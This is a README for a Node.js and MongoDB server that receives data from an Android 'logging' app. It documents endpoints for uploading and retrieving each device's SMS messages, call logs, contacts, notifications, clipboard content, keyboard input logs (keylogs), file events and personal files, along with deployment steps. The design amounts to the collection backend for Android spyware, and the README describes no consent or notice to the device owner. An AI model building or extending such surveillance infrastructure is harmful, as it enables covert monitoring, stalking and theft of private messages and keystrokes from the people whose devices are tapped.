A comprehensive Node.js backend server for the Bilal Android logging application. This server handles device registration, data collection, and file storage with per-device organization.
- Device Registration: Automatic UUID assignment and device management
- Per-Device Collections: Separate MongoDB collections for each device
- File Storage: Organized file storage with timestamped filenames
- Pagination Support: All data endpoints support pagination
- Real-time Logging: Comprehensive logging for all operations
- Health Monitoring: Built-in health check endpoints
- Node.js 16.0.0 or higher
- MongoDB 4.4 or higher
- npm or yarn package manager
-
Clone the repository
cd script/new-notif-server -
Install dependencies
npm install
-
Set up MongoDB
- Ensure MongoDB is running on
localhost:27017 - The database
bilal_loggerwill be created automatically
- Ensure MongoDB is running on
-
Start the server
npm start
For development with auto-restart:
npm run dev
http://localhost:3000/api
POST /register
Register a new device or update existing device information.
Request Body:
{
"deviceId": "unique_device_identifier",
"deviceInfo": {
"model": "Pixel 7",
"manufacturer": "Google",
"androidVersion": "13",
"appVersion": "1.0.0"
}
}Response:
{
"success": true,
"uuid": "generated-uuid",
"deviceId": "unique_device_identifier"
}All data upload endpoints follow the same pattern:
POST /{dataType}
Upload data for a specific device.
Request Body:
{
"deviceId": "unique_device_identifier",
"data": [
{
"timestamp": 1699123456789,
// ... data-specific fields
}
]
}Available Data Types:
notifications- App notificationssms- SMS messagescallLogs- Call historycontacts- Contact informationkeylogs- Keyboard input logsclipboard- Clipboard contentfileEvents- File system events
GET /{dataType}/{deviceId}
Retrieve data with pagination support.
Query Parameters:
page(default: 1) - Page numberlimit(default: 50) - Items per pageuploaded(optional) - Filter by upload status
Example:
GET /notifications/device123?page=1&limit=20&uploaded=true
Response:
{
"success": true,
"data": [...],
"pagination": {
"page": 1,
"limit": 20,
"total": 150,
"pages": 8
}
}POST /files/{deviceId}
Upload files with automatic organization.
Form Data:
file- The file to uploadfileType- Type of file (image, document, video, audio, archive)originalName- Original filename
Response:
{
"success": true,
"filename": "1699123456789_document.pdf",
"path": "device123/documents/1699123456789_document.pdf",
"size": 1024000
}GET /devices
List all registered devices.
Response:
{
"success": true,
"devices": [
{
"deviceId": "device123",
"uuid": "generated-uuid",
"registrationDate": "2023-11-05T10:30:00.000Z",
"lastSeen": "2023-11-05T15:45:00.000Z",
"deviceInfo": {
"model": "Pixel 7",
"manufacturer": "Google",
"androidVersion": "13",
"appVersion": "1.0.0"
}
}
]
}GET /health
Check server status and uptime.
Response:
{
"status": "healthy",
"timestamp": "2023-11-05T15:45:00.000Z",
"uptime": 12345.67
}Files are organized by device and type:
uploads/
├── device123/
│ ├── images/
│ │ ├── 1699123456789_photo1.jpg
│ │ └── 1699123456789_photo2.png
│ ├── documents/
│ │ ├── 1699123456789_document1.pdf
│ │ └── 1699123456789_document2.docx
│ ├── videos/
│ │ └── 1699123456789_video1.mp4
│ ├── audio/
│ │ └── 1699123456789_audio1.mp3
│ └── archives/
│ └── 1699123456789_archive1.zip
└── device456/
└── ...
Each device gets its own set of collections:
{deviceId}_notifications{deviceId}_sms{deviceId}_callLogs{deviceId}_contacts{deviceId}_keylogs{deviceId}_clipboard{deviceId}_fileEvents
Create a .env file for configuration:
PORT=3000
MONGODB_URI=mongodb://localhost:27017/bilal_logger
NODE_ENV=production- All file uploads are validated
- Device authentication is required for all operations
- File size limits are enforced
- CORS is configured for cross-origin requests
All endpoints return consistent error responses:
{
"error": "Error description"
}Common HTTP status codes:
200- Success400- Bad Request404- Device/Resource not found500- Internal server error
npm testThe project follows standard Node.js conventions and ESLint rules.
All operations are logged to console with appropriate log levels.
- Set environment variables
- Use PM2 or similar process manager
- Configure reverse proxy (nginx)
- Set up SSL certificates
- Configure MongoDB authentication
docker build -t bilal-logger-server .
docker run -p 3000:3000 bilal-logger-serverFor issues and questions, please refer to the project documentation or create an issue in the repository.
MIT License - see LICENSE file for details.